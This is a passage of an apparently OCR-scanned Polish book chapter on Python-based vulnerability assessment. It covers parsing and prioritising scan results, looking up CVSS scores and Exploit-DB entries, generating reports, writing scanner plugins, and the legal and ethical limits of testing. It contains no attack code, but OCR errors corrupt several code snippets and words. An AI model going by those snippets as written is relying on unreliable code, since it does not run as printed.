do parsowania, zalezy od formatu danych skanowania. W przypadku danych XML wygodnym wyborem
jest xml.etree.ElementTree, natomiast w przypadku danych JSON wbudowana biblioteka json Pythona
jest prosta w uzyciu. W przypadku plikéw CSV modut csv zapewnia niezbedne funkcjonalnosci.

Analiza danych w formacie JSON

Biorgc pod uwage powszechno$é¢ formatu JSON w aplikacjach internetowych i interfejsach API, ta
sekcja skupi sie na analizie danych skanowania luk w zabezpieczeniach w formacie JSON.

1 import json

2

3 # Load JSON data from a file

4 with open(’scan_results.json', ’r*) as file:
5 data = json.load(file)

6

7# Example of accessing data

8 for item in dataf’vulnerabilities’]:

9 print(f"Vulnerability ID: {itemf'id’]}")

10 print(f"Severity: {item[’severity’]}")



11 print(f"Description: {item[’description']}\n")

Ten fragment kodu demonstruje tadowanie danych JSON z pliku o nazwie scan_results.json. Nastepnie
przechodzi przez liste luk, drukujac identyfikator, powage i opis kazdej luki. Ten podstawowy przyktad
stanowi podstawe bardziej ztozonej analizy i przetwarzania.

Analizowanie danych skanowania

Po przeanalizowaniu danych skanowania nastepnym krokiem jest analiza. Obejmuje ona identyfikacje
krytycznych luk, ktére wymagajg natychmiastowej uwagi, kategoryzacje luk wedtug powagi, a czasami
korelacje luk ze znanymi exploitami lub poprawkami. Aby utatwi¢ te analize, biblioteki manipulacji
danymi Pythona, takie jak pandas, mogg by¢ niezwykle przydatne. Na przyktad konwersja
przeanalizowanych danych skanowania do pandas DataFrame umozliwia korzystanie z funkcji
filtrowania, sortowania i grupowania.

1 import pandas as pd

2

3 # Assuming <data[,vulnerabilities']‘ is a list of dictionaries
4 df = pd.DataFrame(data[’vulnerabilities’])

5

6 # Filter vulnerabilities with high severity

7 high_severity = df[df{’severity’] == 'high']

8

9 printf'High Severity Vulnerabilities:")

10 print(high_severity[['id’, ‘description']])

W tym przykfadzie, pandas DataFrame jest tworzony z listy luk. DataFrame jest nastepnie uzywany do
filtrowania i wyswietlania luk o wysokim stopniu waznosci. Takie podejscie umozliwia szybka
identyfikacje najbardziej krytycznych probleméw, ktdre nalezy rozwigzac.

Priorytetyzacja luk

Priorytetyzacja luk to kluczowe zadanie, ktore obejmuje cos wiecej niz tylko sortowanie wedtug stopnia
waznosci. Wymaga rozwazenia mozliwosci wykorzystania, wptywu i kontekstu podatnego systemu w
organizacji. Skrypty Pythona mozna ulepszy¢, aby uwzglednic¢ te czynniki w logice priorytetyzacji.
Jednym ze sposobdéw podejscia do tego jest wigczenie dodatkowych Zrédet danych, takich jak wyniki
Common Vulnerability Scoring System (CVSS), ktore zapewniajg ustandaryzowany sposdb oceniania
stopnia waznosci luk w oparciu o rézne metryki. Automatyzacja analizy i analizy danych skanowania
luk w Pythonie nie tylko oszczedza czas, ale takze umozliwia bardziej systematyczne i doktadne badanie
postawy bezpieczenstwa systemow lub aplikacji. Wykorzystujgc potezne biblioteki Pythona do
manipulacji danymi i analizy, specjalisci ds. cyberbezpieczenstwa mogg wydajnie przetwarza¢ duze
ilosci danych ze skanowania, identyfikowac krytyczne luki w zabezpieczeniach i ustalac ich priorytety
w celu ich naprawy. Majac fundamenty potozone w tej sekgcji, czytelnicy sg zachecani do eksplorowania
dalszych mozliwosci automatyzacji i dostosowywania w celu ulepszenia proceséw oceny luk w
zabezpieczeniach.

Ustalanie priorytetow luk w celu ich naprawy



Ustalanie priorytetéw luk w celu ich naprawy jest kluczowym krokiem w procesie oceny podatnosci.
Po zidentyfikowaniu i sklasyfikowaniu luk w zabezpieczeniach, konieczne jest ustalenie ich priorytetéw,
tak aby najpierw zajac sie najbardziej krytycznymi lukami w zabezpieczeniach. Ta priorytetyzacja opiera
sie na kilku czynnikach, w tym powadze luki w zabezpieczeniach, prawdopodobienstwie wykorzystania
i potencjalnym wptywie na system lub sieé. W tej sekcji oméwimy metody analizy tych czynnikéw za
pomocg skryptow Pythona, utatwiajgc Swiadomy i wydajny proces naprawy. Na poczatek wazne jest
zrozumienie, ze luki w zabezpieczeniach sg powszechnie klasyfikowane za pomocg wyniku powagi,
czesto zgodnego z Common Vulnerability Scoring System (CVSS). CVSS umozliwia uchwycenie
gtéwnych cech luki w zabezpieczeniach i wygenerowanie wyniku liczbowego odzwierciedlajgcego jej
powage. Wynik CVSS miesci sie w zakresie od 0 do 10, przy czym 10 oznacza najpowazniejszy.

Analiza stopnia zagrozenia

Pierwszym krokiem w ustalaniu priorytetow jest pobranie wyniku CVSS dla kazdej zidentyfikowanej
zagrozenia. Skrypty Pythona mogg by¢ uziywane do interakcji z bazami danych zagrozen i
wyodrebniania tych informacji. Na przyktad rozwaz nastepujgcy fragment kodu Pythona, ktéry pobiera
wynik CVSS zagrozenia z National Vulnerability Database (NVD):

1 import requests

2

3 def get_cvss_score(vulnerability_id):

4url=f""
https://nvd.nist.gov/vuln/detail/{vulnerability_id}

5 response = requests.get(url)

6 if response.status_code == 200:

7 html_text = response.text

8 start_index = html_text.find("CVSS v3.0:)

9 end_index = html_text.find('</span>', start_index)

10 cvss_score = html_text[start_index:end_index].split()[-I]
11 return cvss_score

12 else:

13 return "N/A"

14

15 vulnerability-id = "CVE-2021-34527"

16 cvss_score = get_cvss_score(vulnerability_id)

17 print(f"CVSS Score for {vulnerability_id}: {cvss_score}")
Rozwazanie prawdopodobieristwa wykorzystania

Prawdopodobienstwo, ze luka zostanie wykorzystana, odgrywa réwniez znaczgcy role w ustalaniu
priorytetow. Prawdopodobienstwo to mozina oszacowac¢ na podstawie czynnikéw, takich jak



dostepnos¢ kodu exploita lub ztozonos¢ wymagana do wykorzystania luki. Skrypty Pythona mozna
zaprojektowac tak, aby skanowaty zrddta, takie jak Exploit Database, w celu sprawdzenia istniejgcych
exploitow:

1 import requests

2 from bs4 import BeautifulSoup

3

4 def check_exploit_availability(vulnerability_id):

5 search.url = f""
https://www.exploit-db.com/search?g={vulnerability_id}
6 response = requests.get(search_url)

7

8if response.status_code == 200:

9 soup = BeautifulSoup(response.text, "html.parser’)

10 results = soup.find_all("td’, class_="description’)

11 if results:

12 return True

13 else:

14 return False

15 else:

16 return False

17

18 vulnerability_id = "CVE-2021-34527"

19 exploit_available = check_exploit_availability(vulnerability_id)
20 print(f"Exploit available for {vulnerability_id}: {exploit_available}")
Ocena wplywu

Na koniec nalezy wzigé pod uwage potencjalny wptyw wykorzystania luk w zabezpieczeniach.
Obejmuje to rozwazenie poufnosci, integralnosci i dostepnosci danych (triada CIA), ktére moga zostac
naruszone. Opracowanie niestandardowego narzedzia Python do oceny wptywu na podstawie tych
parametréw obejmuje integracje i analize danych z wielu zrédet, co moze obejmowac bezposrednig
ocene wynikow skanowania luk w zabezpieczeniach, dane od ekspertow ds. bezpieczenstwa i
informacje z baz danych luk w zabezpieczeniach. Ustalanie priorytetéw luk w zabezpieczeniach w celu
ich naprawy nie jest zadaniem jednorazowym. Wymaga ciggtej ponownej oceny krajobrazu luk w
zabezpieczeniach, poniewaz odkrywane sg nowe luki w zabezpieczeniach, a istniejgce sg tatane lub
tagodzone. Automatyzacja tego procesu za pomocy skryptéw Pythona nie tylko zwieksza jego
wydajnosé, ale takze zapewnia, ze priorytetyzacja opiera sie na najnowszych dostepnych danych.



Zastosowanie Pythona w ustalaniu priorytetéw luk w zabezpieczeniach umozliwia specjalistom ds.
cyberbezpieczenstwa podejscie do dziatan naprawczych w sposdb metodyczny i swiadomy. Dzieki
skutecznemu kategoryzowaniu luk w oparciu o ich powage, prawdopodobienstwo wykorzystania i
potencjalny wptyw, organizacje mogg znaczgco zmniejszy¢é swoje narazenie na ryzyko i poprawic
0goblng sytuacje bezpieczeristwa.

Zgtaszanie luk: najlepsze praktyki i automatyzacja

Zgtaszanie luk jest kluczowym etapem procesu oceny luk. Polega na przekazywaniu ustalen z oceny
odpowiednim interesariuszom w sposdb, ktdry jest zaréwno jasny, jak i wykonalny. W tej sekgji
omoéwiono kilka najlepszych praktyk w zakresie raportowania, a takze sposdb wykorzystania jezyka
Python do automatyzacji réznych aspektéw procesu generowania raportu. Przede wszystkim raport
dotyczacy luk powinien byé ustrukturyzowany tak, aby zawierat streszczenie, szczegétowe ustalenia,
analize wptywu i zalecenia. Streszczenie powinno zawieraé ogdlny przeglad wynikéw oceny,
skierowany do interesariuszy, ktérzy mogg nie mie¢ wiedzy technicznej. Szczegétowe ustalenia
powinny nastepnie zawieraé szczegdtowe informacje na temat kazdej zidentyfikowanej luki, w tym
sposab jej odkrycia, jej potencjalny wptyw oraz kazdy kod proof-of-concept lub wynik ilustrujgcy luke
w dziataniu. Analiza wptywu omawia potencjalne reperkusje kazdej podatnosci na aktywa i operacje
organizacji, podczas gdy zalecenia dostarczajg wykonalnych krokéw w celu ztagodzenia Ilub
naprawienia zidentyfikowanych problemoéw. Jedng z najlepszych praktyk w zgtaszaniu podatnosci jest
nadawanie im priorytetdw na podstawie ich powagi. Mozna to osiggnac, przypisujac kazdej podatnosci
wynik powagi, zwykle w oparciu o ramy, takie jak Common Vulnerability Scoring System (CVSS).
Ponizsze rdwnanie jest przyktadem tego, jak mozna obliczy¢ prosty wynik powagi:

Severityscore = (I'mpact x Exploitability)/10

gdzie Impact i Exploitability to wartosci liczbowe przypisane na podstawie cech podatnosci. Aby
zwiekszy¢ przejrzystosc raportéw, zaleca sie korzystanie z elementow wizualnych, takich jak wykresy
lub grafy, ktére mozna generowac programowo za pomoca bibliotek Python, takich jak Matplotlib. Oto
przykfad, jak utworzy¢ wykres kotowy ilustrujgcy rozktad podatnosci wedtug stopnia zagrozenia:

1 import matplotlib.pyplot as pit

2

3 # Sample data: number of vulnerabilities per severity level
4 vulnerabilities = {'Low': 10,’Medium’: 20, 'High’: 5}

5 labels = vulnerabilities.keys()

6 sizes = vulnerabilities.valuesO

7

8 fig 1, axl = plt.subplots()

9 axl.pie(sizes, labels=labels, autopct="% 1.1 f%%’,

10 startangle=90)

11 axl .axis(’equal’) # Equal aspect ratio ensures that pie is drawn as a circle.
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13plt.show()

Automatyzacja raportéw o podatnosciach moze znacznie zwiekszy¢ wydajnosé, zwtaszcza w przypadku
ocen cyklicznych. Skrypty Pythona mozna napisa¢, aby analizowac¢ dane z narzedzi bezpieczenstwa, baz
danych lub skaneréw, formatowac¢ te dane zgodnie ze szablonem raportowania, a nastepnie
generowac raport w formatach takich jak PDF lub HTML. Na przykfad biblioteka reportlab w Pythonie
moze by¢ uzywana do generowania raportow PDF. Ponizej znajduje sie uproszczony przyktad, ktory
pokazuje generowanie raportu PDF:

1 from reportlab.lib.pagesizes import letter

2 from reportlab.pdfgen import canvas

3

4 def generate_report(filename, title, summary):

5 ¢ = canvas.Canvas(filename, pagesize=letter)

6 c.drawString( 100, 750, title)

7 c.drawString(100, 730, "Executive Summary")

8 c.drawString( 100, 710, summary)

9 c.save()

10

11 report_title = "Vulnerability Assessment Report"

12 exec_summary = "This report outlines the findings from the recent vulnerability assessment."
13 generate_report("vulnerability_report.pdf", report-title, exec_summary)

Komentarze i podsumowania kodu powinny by¢ dotgczone, gdy jest to wtasciwe, aby zapewnié, ze kod
generowania raportu jest fatwy w utrzymaniu i moze by¢ tatwo zrozumiany przez innych programistéw
lub specjalistéw ds. bezpieczenstwa. Skuteczne raportowanie luk w zabezpieczeniach jest niezbedne,
aby zapewni¢, ze zidentyfikowane luki w zabezpieczeniach zostang zrozumiane i odpowiednio
rozwigzane. Przestrzegajac najlepszych praktyk w zakresie strukturyzacji i priorytetyzacji raportow oraz
wykorzystujgc Python do automatyzacji raportéw, organizacje mogg poprawi¢ swojg reakcje na luki w
zabezpieczeniach i poprawic ogdlng postawe bezpieczenstwa.

Tworzenie niestandardowych wtyczek do skaneréw luk w zabezpieczeniach za pomocg Pythona

W tej sekcji omoéwimy, w jaki sposéb mozna wykorzysta¢ Pythona do tworzenia niestandardowych
wtyczek do skaneréw luk w zabezpieczeniach. Ta mozliwo$é jest kluczowa dla rozszerzenia
funkcjonalnosci istniejgcych skaneréw i dostosowania ich do okreslonych srodowisk lub nietypowych
luk w zabezpieczeniach, ktére mogg nie by¢ objete domysinymi ustawieniami skanera. Tworzenie
niestandardowych wtyczek wymaga dogtebnego zrozumienia architektury wtyczek skanera, a takze
biegtosci w Pythonie. Wiekszos¢ nowoczesnych skanerdw luk w zabezpieczeniach oferuje interfejs API
lub interfejs skryptowy zaprojektowany w celu rozszerzenia ich mozliwosci. Za posrednictwem tych
interfejséw wtyczki mogg uzyskac¢ dostep do wewnetrznych funkcji skanera, takich jak wysytanie zadan
sieciowych, przetwarzanie odpowiedzi i raportowanie ustalen.



Zrozumienie architektury wtyczki

Przed rozpoczeciem tworzenia wtyczki konieczne jest zrozumienie architektury wtyczki danego
skanera luk w zabezpieczeniach. Obejmuje to badanie dokumentacji dostarczonej przez programistow
skanera, skupiajac sie na tym, jak wtyczki sg zbudowane, jak oddziatujg ze skanerem i jak zgtaszajg luki.
Ponadto przegladanie istniejgcych wtyczek moze zapewnié wglad w praktyczne implementacje i
najlepsze praktyki.

Konfigurowanie srodowiska programistycznego

Aby opracowac niestandardowg wtyczke, skonfiguruj srodowisko programistyczne Pythona, ktére
odzwierciedla $rodowisko, w ktérym dziata skaner. Obejmuje to instalacje tej samej wersji Pythona i
wszelkich bibliotek lub zaleznosci wymaganych przez skaner lub samg wtyczke.

1 # Example setup for a development environment
2 pip install requests

3 pip install Ixml

Interfejs ze skanerem luk w zabezpieczeniach

Kolejnym krokiem jest interfejs ze skanerem luk w zabezpieczeniach. Zazwyczaj obejmuje to
wykorzystanie interfejsu APl skanera, ktéry umozliwia wtyczce inicjowanie skanowania,
manipulowanie danymi skanowania i interakcje z innymi komponentami skanera.

1 # Przyktad interfejsu z APl skanera

2 import scanner_api

3

4 def start_scan(target):

5 scanner_api.initiate_scan(target_url=target)
Opracowywanie logiki wtyczki

Podstawa niestandardowej wtyczki jest jej logika. Obejmuje ona zdefiniowanie, co wtyczka bedzie
skanowac, w jaki sposdb bedzie wykrywaé luki w zabezpieczeniach i w jaki sposéb bedzie raportowad
te ustalenia. Opracowanie skutecznej logiki wtyczki wymaga giebokiego zrozumienia luk w
zabezpieczeniach, ktére sg celem, w tym sposobu ich wykrywania i wykorzystywania.

1 # Example plugin logic for detecting a vulnerable server
2 import requests

3

4 def check vulnerability(target_url):

5 response = requests.get(target_url)

6 if "Vulnerable Server" in response.text:

7 return True

8 return False



Raportowanie luk

Raportowanie jest podstawowg funkcjg kazdej wtyczki. Musi ona komunikowa¢ swoje ustalenia w
sposdb jasny i mozliwy do zastosowania. Zazwyczaj obejmuje to okreslenie charakteru luki, jej
lokalizacji i wszelkich zalecanych srodkéw zaradczych.

1 # Example of reporting a vulnerability

2 def report_vulnerability(target_url):

3 if check_vulnerability(target_url):

4 print(f"Vulnerability found at {target_url}")

5 else:

6 print(f "No vulnerabilities found at {target_url}")
Testowanie i wdrazanie

Przed wdrozeniem nowej wtyczki kluczowe jest jej rygorystyczne przetestowanie w kontrolowanym
Srodowisku. Ta faza testowania powinna obejmowac szeroki zakres scenariuszy, w tym rdine
konfiguracje sieciowe i typy luk w zabezpieczeniach, aby upewni¢ sie, ze wtyczka dziata zgodnie z
oczekiwaniami. Po zakonczeniu testowania wtyczke mozna wdrozy¢ do skanera. Konkretny proces
wdrazania wtyczek rdézni sie w zaleznosci od skanera, ale zazwyczaj obejmuje dodanie wtyczki do
katalogu wtyczek skanera lub uzycie interfejsu zarzadzania w celu zainstalowania wtyczki.
Opracowywanie niestandardowych wtyczek dla skaneréw luk w zabezpieczeniach za pomoca jezyka
Python to skuteczny sposdb na zwiekszenie skutecznosci skanera i dostosowanie go do konkretnych
potrzeb bezpieczeristwa. Postepujac zgodnie z krokami opisanymi w tej sekcji, czytelnicy beda
przygotowani do opracowywania, testowania i wdrazania niestandardowych wtyczek, co znaczaco
przyczyni sie do zwiekszenia solidnosci ich zabezpieczen cybernetycznych.

Rozwazania etyczne i prawne w ocenie podatnosci

Przeprowadzanie oceny podatnosci wymaga nie tylko biegtosci technicznej, ale takze gtebokiego
zrozumienia ram etycznych i prawnych, ktére regulujg te dziatania. Podczas wdrazania skryptéw i
narzedzi Python w celu identyfikacji stabosci systemu, etyczni hakerzy muszg poruszaé sie po ztozonym
krajobrazie ograniczen prawnych i obowigzkdw etycznych. W tej sekcji opisano kluczowe przepisy
prawne i zasady etyczne, ktdre powinny kierowaé wszelkimi dziataniami w zakresie oceny podatnosci,
aby zapewni¢, ze s one przeprowadzane odpowiedzialnie i zgodnie z prawem.

Zrozumienie ram prawnych

Krajobraz prawny dla ocen podatnosci znacznie sie rozni w zaleznosci od jurysdykcji, ale kilka
miedzynarodowych i krajowych przepiséw stanowi podstawe do zrozumienia dopuszczalnych granic
dziatan hakerskich. W szczegdlnosci przepisy takie jak Computer Fraud and Abuse Act (CFAA) w Stanach
Zjednoczonych, Data Protection Act (DPA) w Wielkiej Brytanii i Ogdlne rozporzadzenie o ochronie
danych (GDPR) w Unii Europejskiej okreslajg jasne wytyczne dotyczgce nieautoryzowanego dostepu,
naruszenia danych i prywatnosci.

Kluczowe kwestie prawne:

e Autoryzacja: Upewnij sie, ze uzyskano pisemng zgode od wtasciciela systemu lub odpowiedzialnego
organu przed przeprowadzeniem jakiegokolwiek skanowania lub testowania. Nieautoryzowany
dostep, nawet z dobrymi intencjami, moze prowadzi¢ do reperkusji prawnych.



e Zakres oceny: Jasno okre$l zakres oceny, w tym, ktére systemy, sieci i dane mogg zostac
przetestowane. Zapobiega to niezamierzonym naruszeniom prawa, zapewniajgc, ze wszystkie dziatania
mieszczg sie w uzgodnionych granicach.

¢ Przetwarzanie danych: Zgodnosc z przepisami o ochronie danych (np. RODO) ma kluczowe znaczenie
podczas przetwarzania danych osobowych lub poufnych ujawnionych podczas ocen. Etyczni hakerzy
muszg zapewnié, ze wszelkie takie dane sg bezpiecznie zarzadzane i chronione.

Rozwazania etyczne

Poza zgodnoscig z prawem, etyczni hakerzy sg zwigzani zestawem zasad moralnych, ktére zapewniaja,
ze ich dziatania przyczyniajg sie pozytywnie do postawy bezpieczeristwa ocenianych przez nich
systeméw. Zasady te obejmujg zachowanie poufnosci, integralnosci i dostepnosci systeméw i danych,
z ktérymi wchodzg w interakcje.

Kluczowe zasady etyczne:

e Zachowanie poufnosci: Informacje o lukach w zabezpieczeniach odkrytych podczas ocen powinny
by¢ poufnie udostepniane wytacznie podmiotowi, ktéry jest wiascicielem lub odpowiada za system.

e Dobroczynnosé: Gtéwnym motywem oceny podatnosci powinno byé zwiekszenie bezpieczeistwa i
ochrona intereséw wtascicieli systemdw i ich interesariuszy.

e Profesjonalizm: Etyczni hakerzy muszg prowadzi¢ swoje dziatania z wysokim stopniem
profesjonalizmu, w tym doktadng dokumentacjg swoich ustalen i udzielaniem jasnych, wykonalnych
zalecen dotyczgcych napraw.

Poruszanie sie po wyzwaniach etycznych i prawnych

Pomimo najlepszych intencji, etyczni hakerzy moga napotkaé scenariusze, w ktérych wytyczne prawne
i etyczne wydajg sie byé sprzeczne lub trudne do zinterpretowania. W takich przypadkach specjalisci
ds. bezpieczenstwa muszg koniecznie zasiegng¢ porady prawnej i przestrzega¢ najscislejszej
interpretacji przepiséw i kodekséw etycznych. Przejrzystos¢ w stosunku do klientéw lub wtascicieli
systeméw w zakresie metod, narzedzi i potencjalnego wptywu oceny moze pomadc ztagodzic¢ ryzyko
prawne i dylematy etyczne. Ponadto pozostawanie na biezgco z ewoluujgcymi przepisami dotyczgcymi
cyberbezpieczenstwa i uczestnictwo w profesjonalnych spotecznosciach etycznego hakowania moze
zapewnié cenne spostrzezenia i wskazéwki. Etyczni hakerzy powinni traktowac te spotecznosci jako
zasoby do wspdlnej nauki i wsparcia w poruszaniu sie po zawitosciach kwestii etycznych i prawnych w
ocenie podatnosci. Kwestie etyczne i prawne sg integralng czescig przeprowadzania ocen podatnosci.
Przestrzegajgc ustalonych ram prawnych i zasad etycznych, etyczni hakerzy mogg zapewnié, ze ich
dziatania promujg cyberodpornos¢ przy jednoczesnym poszanowaniu norm prywatnosci i ochrony
danych. Takie podejscie nie tylko chroni przed putapkami prawnymi i moralnymi, ale takze wzmacnia
zaufanie i wspotprace miedzy specjalistami ds. bezpieczenstwa a systemami, ktére majg chronié.



